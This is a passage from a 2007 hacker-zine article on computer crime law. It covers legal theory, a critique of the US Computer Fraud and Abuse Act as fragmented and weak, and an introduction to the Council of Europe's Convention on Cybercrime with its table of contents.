  11.0 The pattern - legislation against hacking utilities
  11.1 The new order
  11.2 Perl, ping, and nmap
  11.3 Practical results in Germany
  11.4 The security industry
  11.5 The media
  11.6 Violation
  11.7 The old order

  12.0 Conclusions

  13.0 Works Cited

[==============================================================================]

1.0 Introduction

This was written in July and August of 2007.

I would like the readers to know that I am not a leading legal expert. I'm
not even a lawyer. Nor a law student. I'm just a hacker who has taken a
couple of law courses, read a couple of law books, read a lot of statutes,
and sat in on some trials. However, I think I know a little more about law
than other hackers who have written articles about hacking law, to the
degree that I think this discourse is fairly "leet" in comparison.

Looking around, I have not found much legal material in hacking zines.
Usually it is someone explaining specific American laws about their area
of crime (eg. credit cards) or something explaining a little bit of law
and some legal processes from their own experiences (see: Phrack). I have
been unable to find articles willing to take a serious look at hacking
laws beyond how they specifically applied to them. I felt that there is
definitely room in the world for an article that mentions much of our
current influential legal work around the world, and where hacking laws
could be going. I can do this while giving a backdrop of some legal theory
and perspective on the power and influence of select laws.

Further, we have seen important modernizations of hacking laws in many
countries recently, of which I will detail a few important ones. Like
everything else in the computer world, laws have changed drastically
through any five year period. Things have changed, and this article can
pose as a nice summary for the state of things at this point (and gain
"fresh" points).

In short: Other hacking law articles or sections of articles in technical
zines are either shitty, or lacking substance, or drastically behind the
times for someone seeking to understand some law in 2007. 

2 About hacking

2.1 What I mean by "hacking"

I hate having a section about this, but some clarifications are needed.
You all have an idea of what "hacking" is, and I am not going to try to
debate our various definitions here. From a legal perspective, the term
never needs to be used (although it was used in Germany). Yet I will use
it casually in this article. I refer to malicious computer crime, crimes
happening in the realm of computers, effecting individuals through their
computers and digital assets. I may call this "hacking", out of
convenience. In particular, I am referring to crimes including:

- Access to private data/resources.
- Interference (modification or denial) of programs and systems.
- Interception of private communications.

I mean all of these things only when one does not have a right (also, a
fair belief in a right, termed here as a "colour of right") to the
data/programs/systems/communications (by actually being an owner or
participant) and when one acts without express permission. Additionally,
excluding the case of tort law and summary conviction offences, these
things need to be done with knowledge or intent to do so.

To give direct examples of computer crimes that I may refer to, in
general, as hacking, I list these thus:

- Gaining shell/system access to someone else's computer.
- Writing malware to damage computers or the data on them.
- Writing malware to make money off of people's computers.
- Denying service to websites.
- Trying to scam users into giving up money.
- Etc, etc, etc.

Notice that I specifically list actions that most people would agree are
immoral, without pressing towards behavior that is more questionable. I
would like to limit my use of "hacking crimes" or "computer crimes" to
mean things that are obviously "wrong" as we could say. I do not yet need
to press boundaries. 

2.2 Why the world needs hacking laws

We are surrounded by law. Much of the way we live our lives would not
function so well without laws. Much of this we take for granted, either
because the laws work so well, or because they have been working for so
long, or because they have been designed to eliminate threats that never
arrived. 

Law governs how the food we eat can be created (with safe ingredients and
how that safety can be guaranteed) and sold (with ingredients listed,
health stats, antitrust laws effecting price, etc). Law governs how our
houses can be made (safely) and sold (through valid contracts). Law forced
companies to stop making toys out of lead, and legal institutions monitor
that to make sure that the odd derivation is halted and punished. 

In its most obvious form law stops you from being thrown out of your house
by a jealous civilian, or from being robbed at will, or from being
murdered. 

All of the above examples, and hundreds more, act together to generate a
safe society where most of us can live and prosper. These benefits are not
enjoyed by all countries. The quality of law and legal institutions is a
strong indication of the quality of life in a country.

Some of these laws you may not need. Maybe you think you don't need the
state to defend your house or your life; your gun can do that. But not
everyone shares that opinion or can do that. The same man who can defend
his own house might find the idea of being told to defend the quality of
his TV dinners purchased at a supermarket to be an outrageous idea - the
government needs to make sure that food is safe! For society, we needs
these laws, and we need to apply them equally, regardless of whether you
want some or not. Laws for you or against you are not opt-in or opt-out. 

By this line of reasoning, we need hacking laws. Your food, your house,
and your products are all guaranteed to be safe and to be as advertised,
otherwise the law can come to your aid. Your property and your privacy are
defended, these are two crucial pillars of law in many nations. Yet they
are not defended in respect to your computer. Millions of people are
vulnerable to having their personal data stolen. Many of the same people
can hardly use their own computer in their own home without being bothered
by malware that they certainly do not desire and which does not care about
what those users want to do with their computer. Even if malware often
arrives partially at the fault of the user, that is only a slim moral
defence for the malware.

Some of us benefit from the lack of computer laws. We use and abuse the
uneducated population, regardless of their will or rights, because we can
get away with it and perhaps can gain financially for it. 

Others can defend themselves (to varying degrees), and can often benefit
indirectly by helping to defend others. 

These two small (and mostly overlapping) groups do not gain from having
laws defending against damaging and malicious hacking activities. For
everyone else, hacking laws are good. As such, fair conditions will become
another piece of our society that is held up by law. People need to be
able to use their computers without being monitored, hampered, or used as
a pawn in immoral activities. Just as it is not an individual obligation
to know how to tell the quality of food preparation methods (which aren't
even labelled on the product) or the safety of ingredients, or how we are
not obligated to learn how to defend ourselves, individuals are not liable
to have to understand computer security to be able to use computers.

3.0 Jurisprudence

3.1 Legal theory

You may imagine law as just a set of rules, established by government,
listed in a book somewhere. When you do not follow these rules, you are
breaking the law. This interpretation is naive.

At the very least law can be written in legislature, offset in a
constitution, codified, defined by precedent only, or be defined on a
case-by-case basis (to differing degrees depending on the country). Yet,
there is so much more.

Law is all about what is right and wrong, what is crucial for society, and
how society needs to limit select behavior to hold itself together. Some
of the earliest theory on law is about "natural law", where the law is
envisioned as an ideal, as the rules as they should be, and our mortal
rules can only try to be as close to these natural laws as we can be. In
this line of theory, rules as written by bodies of power can be wrong and
unlawful in themselves. 

Natural law has in many ways given way to forms of positive law, which
states that law exists as we create it. Many lines of thought in this
direction establish law as being commanded from an authority which we are
compelled to obey. In this, we have to understand, law is not just rules.
Law chould be all of this:

- Rules.
- These rules must be clear and understood.
- These rules must be commanded, that is to say, we must be strongly told
  that they exist.
- We have to be compelled to obey these rules, through:
-- A belief that the law is correct or moral or necessary and
-- A belief that the law will be enforced and enforced consistently.
- As such, these rules must actually be enforced.

Although this may seem like nitpicking, understanding these elements is
necessary. Right now in your common law country there are thousands of
rules ("laws") that are not law. They have been created through decades or
centuries of the past. Currently they might not even be known to exist by
even a noticeable fraction of the population. Even law enforcement agents
may only know a few, as trivia. These laws are no longer necessary, and if
the case would arise, would be struck down. People don't know they exist,
any police officers aware of them would not be willing to enforce them.,
The legal system as a whole will not enforce them, and nobody believes in
them. They are not law. They are just rules in books. The reason they
have not been removed is because there are far too many, they are far too
diverse, and the task of removing them could be a paper nightmare.

Consider this exercise: If you are doing something that a rule states is
illegal, and a police officer cruising by sees you doing it, will:

a) he know that it is illegal and
b) actually arrest you for it.

And even further than that;

c) If you go to court over the issue, will the judge convict you
   regardless of how blatantly you broke the rule?

Yet it goes further!

d) If you appeal and work your way up higher courts, will the law
   eventually be struck down for you?

Think about that. Even if the rule got past a, b, and c, it sure isn't
much of a law (and definitely not after) if it can't avoid getting struck
down by a more powerful court. It is hardly law if the first court won't
even take it seriously. It certainly is not law at all when officials
won't even try to defend it, and it is definitely not law when the
officials who would be responsible for it do not know it exists.

What law actually is varies from country to country and region to region.
It depends on the type of government, the type of court system, the
quality, integrity, and existence of legal institutions, the level of
education of the population, the media, and other factors. The people
responsible for what law is and how it is applied (which really is a part
of "what law is") include politicians, businessmen, judges, lawyers,
professors, reporters, police officers, powerful institutions in general,
and the body of society.

Law is very hard to define just in general, let alone in a way that
applies to all our variations. In practice, we cannot define law except as
a meta-definition of how we define law locally. Either way, law is not
something we can simply understand as a set of rules, unless you start
expanding your definition of "rules" to be an academic whore.

3.2 Actus reus, mens rea, and summary conviction offences

In common law countries, any crime consists of two parts, an actus reus
and a mens rea. The actus reus is the "guilty act" itself, it is shooting
someone, or breaking something, or running a red light. The second part,
the mens rea, is the "guilty mind". Mens rea is when you have knowledge of
what you are doing, or you have intent to do so. Mens rea is when you aim
that gun and decide to pull the trigger, it's deciding to break something,
it's knowing that you should stop at that yellow but trying to make it
anyways. Mens rea can be proved by the situation. For example if you speed
up through a yellow light to avoid a red, that will be taken as acceptable
proof that you knew you should have been stopping. 

Mens rea is a very important concept, it is why your crime might not
necessarily be a crime if you are intoxicated or insane, or if something
just happens by accident. (Note that accidents will often fall under
"negligence" of "tort law". Go to Wikipedia, check it out!)

Usually in any specific written law the basis for both of these terms will
be explained. So if you look at a part of a law, you can see the detailed 
actus reus and the detailed mens rea. 

There are exceptions, and these are called "summary conviction offences".
These will play a strong roll in this document when we note that the
British government found it convenient to employ them in their hacking
laws. A summary conviction offence is a minor offence where, for the sake
of convenience, a trial is not needed and mens rea does not need to be
established. Generally the very action is criminal regardless of knowing
or intending it. A good example is speeding. The cop will give you a
ticket. He won't give you a trial (but you can contest the ticket, if you
would like), and he won't take the ticket back if he believes that you
honestly did not know the speed limit, unless he is feeling particularly
nice.

Some crimes can be alternately charged as either a summary conviction
offence or an indictable offence. If the authorities believe that you
deserve much more than a ticket, then in this case they can have a court
case and apply to a different set of punishments.

3.3 Stare decisis

Stare decisis is one legal principle in which previous legal decisions are
respected by judges in their rulings. 

When a statute is passed and an idea becomes law, often the rules it
details, although detailed, have significant issues with interpretation.
Everything down to the meaning of the individual words used can be
questioned. Furthermore, the punishment may be explained only as a maximum
sentence, or a maximum and a minimum.

Essentially laws need to be interpreted, and this is done by judges. A
judge may have to decide what actually applies under a law or to what
degree related actions are illegal under the law. When sentencing, a judge
will need to select a punishment. 

Because people have differences, if each and every judge analyzed laws on
their own and determined punishments on their own, then we could have a
massive lack of consistency in the application of law. Instead, judges
follow precedents. Precedents are previous legal decisions from previous
cases. 

In common law countries (such as English speaking ones) case law is
binding. Courts must follow a ruling if a higher court has handled the
same issue, because the higher court holds more power and is assumed to be
more capable of interpreting the law. If a court of the same level has
made a precedent, again this should be followed, because their should be
consistency in law. Unless there was a lack of care in the precedent, a
judge should not feel more able to interpret law than his cohorts of the
same level or higher. A court may ignore a ruling by a lower court.

However, in practice the use of precedents is much more complicated.
Although a court should follow precedent when a decision has been made
regarding terms or meanings of a law, often there will be significant
differences in the cases as they apply to the law, thus causing the judge
to freshly analyze this 0day vulnerability, and add to the bounty of
knowledge about the law by thus creating their own precedent about the
areas of the cases that differed. 

When courts level their decision in common law countries, often they will
cite many precedents in explaining how they chose (or deferred) a line of
reasoning or another. Because of state decisis being binding, an
incredible amount of the law is defined by precedents. This system is
termed "Case law" and is absolutely central to the legal system in common
law nations. 

On the other hand, civil law nations have a smaller emphasis on
precedents. Specifically, they believe that it is the legislature's duty
to create law, while it is the judiciary's duty to interpret and enforce
the law (while case law creates and modifies law on its own). The more
specific the legislature can make the law, the better. Yet even there they
generally believe that law should be applied consistently, and as thus,
there is an expectation that unless something has changed, the law will be
applied as it was applied before.

In either case when there is an issue about a law that cannot be resolved
easily, it will climb up the ladder of power. This happens by individual
cases appealing to higher courts, sometimes with one side winning, then
losing, then winning again. Eventually the issue will be resolved, even if
it has to reach the court of last resort (i.e. a Supreme Court) which
holds authority over the interpretations of lesser courts.

3.4 The development of laws

Laws might start from party policy, get created by the party legislative
machine, then go through the cabinet, then be proposed, then get voted on,
blah blah blah. You all know how it works in your country. If you don't
have a clue then just fuck off and go back to your youtube videos. 

[ UPDATE: A less bitter zshzn feels the above line was harsh and unfair. ]

What you may not be as aware of is how laws come to be enforced and
applied. When a statute creating a law first comes into effect, there is
no case law behind it. There are no cases for judges to source, no
opinions to fall back on. Prosecutors do not know how far, and to what
degree of punishment, the law will be applied. There is significant doubt
about how it will work.

Secondly, a law may not survive. If it is unpopular (and then, from a
natural law perspective, possibly "wrong"), it may be quickly revoked by
the next ruling government. Just as one government thought it a fitting
policy decision to create the law, the next, in consideration of
unpopularity or in deference to their core base, may find it prudent to
try to revoke the law. Also, a new law might not be legal a priori.
Although it will have been designed by legal experts and pushed by
politicians who were formerly lawyers, that doesn't make them as elite or
powerful as Supreme Court judges. The Supreme Court (in many countries and
to varying degrees) rules the scene and all will have to accord with it or
be owned. A Supreme Court will probably have the power to rule a law
unconstitutional, or even to revoke it regardless. This depends on the
power of the judiciary in any given country. You know those annoying
sections in your constitution giving what seem like obvious details about
the division of powers? Yea, see, they matter, and they are not all the
same.

Thirdly, a law may be weak and have exploitable loopholes. Or the law may
even conflict with another law. If the law is unable to perform its
function, it may be removed, ignored, or (most likely) replaced.

For all the above reasons, fresh laws could have fresh issues and may not
even last, let alone act close to how anyone predicts they will. So you do
not just create a law and suddenly the police and prosecutors will all be
very confident about how to apply it. Instead, both will be cautious. A
law may have been designed for a specific situation or for a specific
group exploiting a lack of law. In this case the law might be applied very
quickly to them. In less obvious cases authorities will need to move more
slowly. 

For a law to have a lot of force, especially against cases that do not
obviously apply (but may apply after considerable judicial thought over
what applies to the particular law), it needs to go through a period of
testing. One case will come up, and a general ruling will be made, and
thus a precedent established. Another might come up testing a slightly
different scenario. The law may even have to bounce up through courts
until being affirmed by a Supreme Court. 

After enough cases, the authorities and the population can have a
reasonable idea of what the law is, and the rule carries more legal
authority, and police and prosecutors will understand where they can
succeed with it and where they cannot.

3.5 Law elsewhere

I talk mostly of law as I know it in Canada, which has a very long
shared history with the USA and the UK. These three (and other former 
parts of the British Empire) are all common law countries. Further, I give
strong mention to civil law countries and variations in developed nations,
so, most of Europe. For any Quebecois friends who would note the absence
of this detail, Quebec is mostly a civil law system. However, considering
that most of Canadian federal law is formed with common law
considerations, and that Quebec still defers to the Supreme Court of
Canada, Quebec must be considered a hybrid of some sort.

What I have not talked about is countries that are undemocratic or
inconsistent in their laws. In some countries, the legislative aspect
might not care at all about what the population thinks about laws. Or
trials are blatantly unfair. Or maybe you could be arrested (or just shot)
for behavior that does not even violate any existing laws. In this
situation I can just say that "illegal" is whatever will piss off the
authorities and that they are capable of investigating. I can only advise
to be really careful, and that you probably should not try to fuck around
there. In fact, click the X now and stop reading this. Get out of your
country, kthnxbye.

4 Diving right in - The USA

4.1 Ambitious and confused

After all of that talk about law, I am finally going to talk a little bit
about hacking laws specifically. Congratulations on passing the test of
patience and making it this far into the article.

The USA, of all countries, was the most enthusiastic about creating
hacking laws. A lot of first world countries have only recently made
provisions for hacking laws, yet the US started quite early. The key piece
of US law dealing with hacking is the Computer Fraud and Abuse Law (which
had its powers famously extended by the PATRIOT Act), and that passed in
1986. Even before and since there has been a flurry of American hacking
laws.

The US has been a leader in technology, and from the beginning has had
problems in this field which required some legal resolve. The US has
written laws for a ton of crimes, including this list stolen directly from
Wikipedia:

[http://en.wikipedia.org/wiki/Computer_crime#Applicable_laws]

ACCESS DEVICE FRAUD. 18 U.S.C. õ 1029. 
COMPUTER FRAUD AND ABUSE ACT. 18 U.S.C. õ 1030. 
CAN-SPAM ACT. 15 U.S.C. õ 7704. 
EXTORTION AND THREATS. 18 U.S.C. õ 875. 
IDENTITY THEFT AND ASSUMPTION DETERRENCE ACT of 1998. 18 U.S.C. õ 1028. 
WIRE FRAUD. 18 U.S.C. õ 1343. 
No Electronic Theft ("NET") Act. 17 U.S.C. õ 506. 
Digital Millennium Copyright Act of 1998 (DMCA) . 17 U.S.C. õ 1201. 
Electronic Communications Privacy Act, 18 U.S.C. õ 2701, et seq. 
Trade Secrets Act. 18 U.S.C. õ 1832. 
Economic Espionage Act. 18 U.S.C. õ 1831. 

On top of this, due to the US system for division of powers, individual
states may or may not write their own hacking laws, and many have.

However, having more laws does not make them better. There are numerous
issues in these and their implementations.

4.2 10 Issues with the system of American hacking laws

1. Some of these laws suck. That tends to happen when you have various
   groups writing various laws.

2. A lot of these laws apply to specific interests and not to society,
   such as large corporations and the government.

3. Some of these laws overlap, contributing to:

4. General confusion. Nobody wants to keep track of which of these apply
   to them and when.

5. People do not know which laws they will be charged under, contributing
   to:

6. The government picks and chooses laws to best pwn your ass, and will
   even:

7. Use non-hacking, traditional laws (theft, fraud, libel) to pwn you when
   they aren't confident of the actual electronic law that applies.

8. People do not know which level of law (state or federal) they will be
   charged under.

9. A lot of these laws beat around the bush. We have laws about areas
   including:

   - Spam
   - Espionage
   - Trade secrets
   - Copyright violations
   - Extortion
   - Identity theft
   - etc

   Those laws listed above are all about what you do after you have
   violated defences and stolen information. As an example of a similar 
   problem, recent changes to these laws have been commenced not by hacking
   considerations, but by terrorism issues. There is no central American 
   government policy body that has done anything to take this jumble of 
   bullshit and make something serious out of it.

   Having specific laws is not too much of a problem (well, excluding the 
   eight reasons listed above and others) except for:

10. The only real "core" federal anti-hacking law in the United States,
    the Computer Fraud and Abuse Act, is very weak.

4.3 The Computer Fraud and Abuse Act

4.3.1 Table of Contents

[http://www.cybercrime.gov/ccmanual/01ccma.html]

A. Key Definitions 
  1. Protected Computer
  2. Without or In Excess of Authorization
B. Obtaining National Security Information: 18 U.S.C. õ 1030(a)(1) 
  1. Knowingly Access a Computer Without or in Excess of
           Authorization
  2. Obtain National Security Information
  3. Information Could Injure the United States or Benefit a Foreign
           Nation
  4. Willful Communication, Delivery, Transmission or Retention
  5. Penalties
  6. Historical Notes
C. Compromising Confidentiality: 18 U.S.C õ 1030(a)(2) 
  1. Intentionally Access a Computer
  2. Without or in Exccess of Authorization
  3. Obtained Information
  4. Financial Institution or Consumer Reporting Agency
  5. Department or Agency of the United States
  6. Protected Computer
  7. Penalties
  8. Historical Notes
D. Trespassing in a Government Computer: 18 U.S.C õ 1030(a)(3) 
  1. Intentionally Access
  2. Without Authorization
  3. Non Public Computer of the United States
  4. Affected United States' use of Computer
  5. Statutory Penalties
  6. Relation to Other Statutes
  7. Historical Notes
E. Accessing to Defraud and Obtain Value: 18 U.S.C õ 1030(a)(4) 
  1. Knowingly Access Without or in Excess of Authorization
  2. With Intent to Defraud
  3. Access for the Intended Fraud
  4. Obtain Anything of Value
  5. Statutory Penalties
  6. Relation to Other Statutes
  7. Historical Notes
F. Damaging a Computer or Information: 18 U.S.C õ 1030(a)(5) 
  1. The Access Element
  2. Cause Damage to the Protected Computer
  3. Loss or Other Damage Listed in õ 1030(a)(5)(B)
  4. Penalties
  5. Relation to the Statutes
  6. Background
G. Trafficking in Passwords: 18 U.S.C õ 1030(a)(6) 
  1. Trafficking
  2. Password or Similar Information
  3. Knowingly and With Intent to Defraud
  4. Trafficking Affects Interstate or Foreign Commerce
  5. Computer Used By or For the U.S. Government
  6. Penalties
  7. Relation to Other Statutes
  8. Historical Notes
H. Threatening to Damage a Computer: 18 U.S.C õ 1030(a)(7) 
  1. Intent to Extort Money or Other Thing of Value
  2. Transmit Communication In Interstate or Foreign Commerce
  3. Threat to Cause Damage to a Protected Computer
  4. Penalties
  5. Relation to Other Statutes
  6. Historical Notes
I. Legislative History

4.3.2 Analysis

The CFAA deals with specific scenarios. It doesn't establish any general
principles, it doesn't make any claim to morality or rights, it just lists
certain offences. Many of these offences are specifically about defending
the government. For the sake of clarity, I will here copy the Wikipedia
simplification/clarification of the entirety of the rules in the CFAA.

[http://en.wikipedia.org/wiki/Computer_Fraud_and_Abuse_Act]

1. Knowingly accessing a computer without authorization in order to obtain
   national security data
2. Intentionally accessing a computer without authorization to obtain 
  1. Information contained in a financial record of a financial
     institution, or contained in a file of a consumer reporting agency on 
     a consumer.
  2. Information from any department or agency of the United States
  3. Information from any protected computer if the conduct involves an 
     interstate or foreign communication
3. Intentionally accessing without authorization a government computer and
   affecting the use of the government's operation of the computer.
4. Knowingly accessing a computer with the intent to defraud and there by
   obtaining anything of value.
5. Knowingly causing the transmission of a program, information, code, or
   command that causes damage or intentionally accessing a computer without
   authorization, and as a result of such conduct, causes damage that 
   results in: 
  1. Loss to one or more persons during any one-year period aggregating at 
     least $5,000 in value.
  2. The modification or impairment, or potential modification or impairment,
     of the medical examination, diagnosis, treatment, or care of one or more
     individuals.
  3. Physical injury to any person.
  4. A threat to public health or safety.
  5. Damage affecting a government computer system
6. Knowingly and with the intent to defraud, trafficking in a password or
   similar information through which a computer may be accessed without
   authorization.

This defends, in order: 

- National security data
- Financial institutions
- Government
- Interstate or foreign communication
- Government
- Fraud victims
- Financial victims
- Medical victims
- Public safety
- Government
- Fraud victims

That does seem like a hefty list, but do notice the continual repetition
of the government that extends our list. This law, by giving specific
cases, displays that it isn't illegal just to hack someone. Just gaining
access without permission, or modifying the state of systems or programs,
aren't illegal under the CFAA. It is only illegal depending on what you do
with that.

The CFAA is basically a list of things that are illegal to do when you
have hacked someone. It is a small list. It does not try to cover anything
in general. Saying it is full of loopholes would suggest it actually
covers a lot more than it does. A more accurate statement would be to say
that we have a big field of anarchy that has some legal patches. 

On a federal level, the USA has a handful of hacking laws that cover
specific situations, and the law that should form a strong and stable
legal centre is instead just a handful of hacking laws that cover specific
situations. American hacking laws in their first two decades of existence
have been unorganized and written to cover only these specific situations. 
The loopholes are many and confusion is everywhere.


4.4 Application issues

Due to all the problems above, this system does not work very well. People
cannot be expected to know their respective written laws, let alone
respect them. The law is not clear. The government cannot say what the law
is or what the theory is behind it (what theory?). They wouldn't even be
able to give you an answer about what they would charge you with under
many situations. If they think it could be more successful, they will not
hesitate to charge you with non-hacking-specific laws, even when a
hacking-specific law exists for precisely the area of your action. 

Whether you will be charged or not may have little to do with the degree
that you have broken written laws. 

Further, these laws will be applied not when violations are noticed, but
only in specific chosen instances.

If we look back at section 3 where we discussed what law is, American
hacking laws look increasingly insufficient. Let's review my list:

- Rules
- These rules must be clear and understood
- These rules must be commanded, that is to say, we must be strongly told
  that they exist
- We have to be compelled to obey these rules, through:
-- A belief that the law is correct or moral or necessary and
-- A belief that the law will be enforced and enforced consistently
- As such, these rules must actually be enforced

Yes, we have rules. No, they are not clear and understood. Yes, they are
partially commanded. No, we do not believe that many of them are correct
or moral or necessary (and instead may view many as serving specific
interests or pushed by naive politicians). No we do not expect them to be
enforced, or enforced consistently when they are. And, no, they are only
partially enforced.

They don't even cover the bases, let alone cover them well, or fairly, or
evenly. American hacking law is entirely insufficient and lacking quality.
This is comparable to the general legal situation in Russia back in the
Soviet days, such as the 1930s and 1940s.

4.5 Current developments

Recently the US Senate ratified the Council of Europe's Convention on
Cybercrime. The convention produced a detailed article on computer crimes
and international cooperation to deal with them. It is the next piece of
legislation I will discuss.

5.0 International Developments

5.1 Importance

The internet is international. Action taking place in any connected
country in the world can have an immediate effect anywhere else. Crimes
causing damage in the US or Europe could be happening from Southeast Asia
or South America. International assistance can immensely increase the
ability of authorities to implement cases in these ways:

- Investigate crimes originating in foreign countries.
- Have other countries prosecute their hackers.
- Have other countries provide valuable information to investigations
  about crimes causing damage in one country by someone in another.
- Have other countries extradite criminals.

As with other crimes, such as the drug trade, money laundering, and
terrorism, hackers can work from and through countries that form safe
havens. These countries may be unwilling to prosecute, or simply lack the
investigative organizations or technical abilities to do so, or lack the
legal basis for prosecuting misdeeds.

The fact of the matter is, any country without strong hacking laws is an
outstanding weakness to any country that does. More than any other class
of crimes in the past, electronic crime is fast and it is diverse. One
cannot simply avoid physical trade with the country. The equivalent to a
break off of relations and a trade embargo would be trying to drop all
packets originating from a region entering your country through any means.
Good luck.

Perhaps as more countries establish hacking laws and enforce them, when
particular countries start to stand out as very serious problems to, say,
the US, then the US could press hard for improvement. Currently, as noted
above, American law isn't in any position to defend itself, let alone ask
for more from anybody in the world.

Regardless of the very bleak current situation, efforts forward will have
a very high return on investment. Every country, be it the US or Malaysia,
that puts effort into having stronger and smarter hacking laws and
stronger and smarter enforcement will not only be rewarded, but will
improve the situation of the rest of the world.

5.2 Leaders

Currently Europe is leading the world in legal developments in the area of
hacking. In the next section I will discuss documents of wide scope, and
how they have been implemented. Although Europe is only beginning to
organize and legislate together, the continent as a whole and countries
individually are progressing well.

5.3 Location

I suppose this is going to be an important issue for some, so here I will
address it. The argument that you host content in a foreign country, and
thus you cannot be prosecuted locally, just is not going to fly. Right now
some countries already have legislation that clearly states that it won't.
The entire European Union eventually will simply not care where you are
committing a crime if you are physically located in the EU.

6 The Convention on Cybercrime

6.1 The Council of Europe

The Convention on Cybercrime was a document finalized by the Council of
Europe (CoE) in 2001. For many of you, like myself, who live outside of
Europe, the Council of Europe may not get any media attention and you may
know very little about it. In short, the CoE is an organization that
formed in 1949 out of ideas discussed by Winston S. Churchill (who among
other things envisioned a united Europe as part of a plan for European
stability) and is an organization that exists to bring cohesion to
European policies and unite Europe however it can.

In its nearly 60 years of existence the CoE has presented nearly 200
treaties (the site counts 202, but that includes provisions), and just
looking at the about 180 presented through the year 2000, only 23 failed
to be signed into effect. 

[http://conventions.coe.int/Treaty/Commun/ListeTraites.asp?CM=8&CL=ENG]

To put the CoE into perspective, it is not an authority like the European
Union or the United Nations. The Council of Europe is just that, a
council. It can only make agreements and post those agreements to be
signed by member nations. Even when a treaty is signed, that just
signifies the general agreement of the member government with the
convention; the convention does not automatically carry weight in the
member country. Usually a signed treaty will first need to be ratified by
a body of power within the member country, and only then can the member
country start to act in accord with the treaty or make laws based on it.

Their own website says this quite elegantly:

[http://conventions.coe.int/general/v3IntroConvENG.asp]

'The Statute of the Council of Europe, signed in London on 5 May 1949,
after declaring the aim of the Organisation, states in Article 1,
paragraph b:

"This aim shall be pursued through the organs of the Council by discussion
of questions of common concern and by agreements and common action in
economic, social, cultural, scientific, legal and administrative matters
and in the maintenance and further realisation of human rights and
fundamental freedoms."

European Conventions and Agreements are prepared and negotiated within the
institutional framework of the Council of Europe. Negotiation culminates
in a decision of the Committee of Ministers establishing ne varietur the
text of the proposed treaty. It is then agreed to open the treaty for
signature by member States of the Council. European Conventions and
Agreements, however, are not statutory acts of the Organisation; they owe
their legal existence simply to the expression of the will of those States
that may become Parties thereto, as manifested inter alia by the signature
and ratification of the treaty.'

One point that isn't entirely relevant to this discourse, but may be of
note regardless, is that their explicit aim has nothing to do with
military actions. After WWII the League of Nations (the post-WWI
international solution) was criticized as a failure because it had no bite
and many minds believed that new, powerful institutions needed to be
established for the security and stability of Europe and the world.
Several of these institutions, including the World Bank, the IMF, and the
Council of Europe, were designed and implemented without military bite in
mind. One organization was designed to specifically have authority and the
military bite to back that up, and that was the United Nations, which has
nibbled occasionally. The CoE exists so that nations can come together and
make general agreements in areas where they feel international
coordination of opinion on an issue could be beneficial.

6.2 Introduction and timeline

The Convention on Cybercrime (CoC) is the CoE's say on what should and
should not be criminal on the internet. The document was opened for
signing by the CoE member nations on November 23, 2001. The date might
lead one to wonder if this treaty was specifically designed, or hurried to
release, following the terrorist attacks of September 11, 2001. It
actually wasn't. The convention was finalized and released for
consideration in May of 2001.

The CoE funded an initial study on the topic, which was published in 1989.
They then funded a second study, which was published in 1995. Based on
these two studies, a group was formed in 1997 to draft what would become
the Convention on Cybercrime, which was itself released in 2001. It came
into force on July 1st, 2004.

This process was slow and costly. However it does demonstrate care and
patience. Additionally, during that timespan there were vast changes in
the threats present. Between the publication of the first and the second
study, we had the popularity of the internet, and Windows, and numerous
other features compelling exponentially more users and companies to invest
in computers. Had the CoE published a treaty after the first study only,
it would have been outdated almost immediately, and would not have been
able to address many of the specific threats that we face today. As a
treaty, it would have been a failure.

6.3 Overview

Having read or reread a number of legal documents in preparation for this
article, I can honestly say this is one that I like and appreciate. As a
legal document it is beautiful. It clearly states its scope and importance
in an elegant preface. It lacks most of the non-literary "legalese" that
is prevalent in national laws. While a Parliament has to detail which laws
it modifies, and stick by the format in a legal code, the CoC is simply a
treaty, and does not require such formatting and specification. It clearly
explains definitions, lacking unnecessarily obvious ones.

Furthermore, the content itself is well done. What it does is list a
number of areas in which law should be laid down. The purpose of the CoC
is twofold, however. It details how countries should cooperate to handle
investigations and prosecution.

I cannot paste the entire convention here. If you are interested, you will
have to read the convention yourself at http://coe.int. I will, however,
list the table of contents to give you a more firm idea of what the treaty
illustrates. I will also explain some articles.

6.4 Table of Contents

[http://conventions.coe.int/Treaty/en/Treaties/Html/185.htm]

Preamble

Chapter I - Use of terms
  Article 1 - Definitions

Chapter II - Measures to be taken at the national level
  Section 1 - Substantive criminal law
    Title 1 - Offences against the confidentiality, integrity and 
              availability of computer data and systems
      Article 2 - Illegal access
      Article 3 - Illegal interception
      Article 4 - Data interference
      Article 5 - System interference
      Article 6 - Misuse of devices
    Title 2 - Computer-related offences
      Article 7 - Computer-related forgery
      Article 8 - Computer-related fraud
    Title 3 - Content-related offences
      Article 9 - Offences related to child pornography
    Title 4 - Offences related to infringements of copyright and related 
              rights
      Article 10 - Offences related to infringements of copyright and related
                   rights
    Title 5 - Ancillary liability and sanctions
      Article 11 - Attempt and aiding or abetting
      Article 12 - Corporate liability
      Article 13 - Sanctions and measures
  Section 2 - Procedural law
    Title 1 - Common provisions
      Article 14 - Scope of procedural provisions
      Article 15 - Conditions and safeguards
    Title 2 - Expedited preservation of stored computer data
      Article 16 - Expedited preservation of stored computer data
      Article 17 - Expedited preservation and partial disclosure of traffic 
                   data
    Title 3 - Production order
      Article 18 - Production order
    Title 4 - Search and seizure of stored computer data
      Article 19 - Search and seizure of stored computer data
    Title 5 - Real-time collection of computer data
      Article 20 - Real-time collection of traffic data
      Article 21 - Interception of content data
  Section 3 - Jurisdiction
      Article 22 - Jurisdiction  

Chapter III - International co-operation
  Section 1 - General principles
    Title 1 - General principles relating to international co-operation
      Article 23 - General principles relating to international co-operation
    Title 2 - Principles relating to extradition
      Article 24 - Extradition
    Title 3 - General principles relating to mutual assistance
      Article 25 - General principles relating to mutual assistance
      Article 26 - Spontaneous information
    Title 4 - Procedures pertaining to mutual assistance requests in the 
              absence of applicable international agreements
      Article 27 - Procedures pertaining to mutual assistance requests in 
                   the absence of applicable international  agreements
      Article 28 - Confidentiality and limitation on use
  Section 2 - Specific provisions
    Title 1 - Mutual assistance regarding provisional measures
      Article 29 - Expedited preservation of stored computer data
      Article 30 - Expedited disclosure of preserved traffic data
    Title 2 - Mutual assistance regarding investigative powers
      Article 31 - Mutual assistance regarding accessing of stored 
                   computer data
      Article 32 - Trans-border access to stored computer data with consent or
                   where publicly available
      Article 33 - Mutual assistance regarding the real-time collection of 
                   traffic data
      Article 34 - Mutual assistance regarding the interception of content 
                   data
    Title 3 - 24/7 Network
      Article 35 - 24/7 Network
      
Chapter IV - Final provisions
      Article 36 - Signature and entry into force
      Article 37 - Accession to the Convention
      Article 38 - Territorial application
      Article 39 - Effects of the Convention
